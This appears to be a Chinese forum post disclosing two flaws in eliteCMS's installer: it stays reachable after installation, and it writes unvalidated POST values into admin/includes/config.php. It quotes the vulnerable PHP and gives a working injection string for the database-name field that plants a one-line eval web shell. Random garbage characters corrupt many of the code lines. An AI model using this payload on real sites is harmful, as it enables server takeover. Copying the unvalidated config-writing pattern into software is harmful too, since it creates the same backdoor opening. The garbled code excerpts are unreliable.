eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
: M- g7 }3 q4 @1 N6 y6 @4 telseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
% k" F: I3 A+ m1 u* ?: H" O& @    $write .= "/**\n";
& H; G' X5 n& B. D7 Z    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
; T) U, b. k' P4 l2 f) `9 y...略...
+ x" R. @5 J+ k& A7 r    $write .= "*\n";
/ r, J1 X7 G- K2 X2 `: \& B  J    $write .= "*/\n";
    $write .= "\n";
! Z5 M$ u. Y5 R: J! P# ^& P    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
8 U0 ]9 p3 T  I* B    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
8 k% z4 u4 m9 a6 q) E) Z4 u& ~    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
/ L& N# j+ ?( V    $write .= "        \n";
    $write .= "} \n";
; v5 R  `$ s" e    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
3 z5 ?. B& }1 M/ z    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
/ I) j; N# [0 Q  K    $write .= "} \n";
6 Q0 O) E) Q" q4 S5 d    $write .= "?>\n";
; V3 C8 z* i: z  @( P+ O1 L
    $writer = fopen($file, 'w');
...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. @8 u' J& y& e! U6 @$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php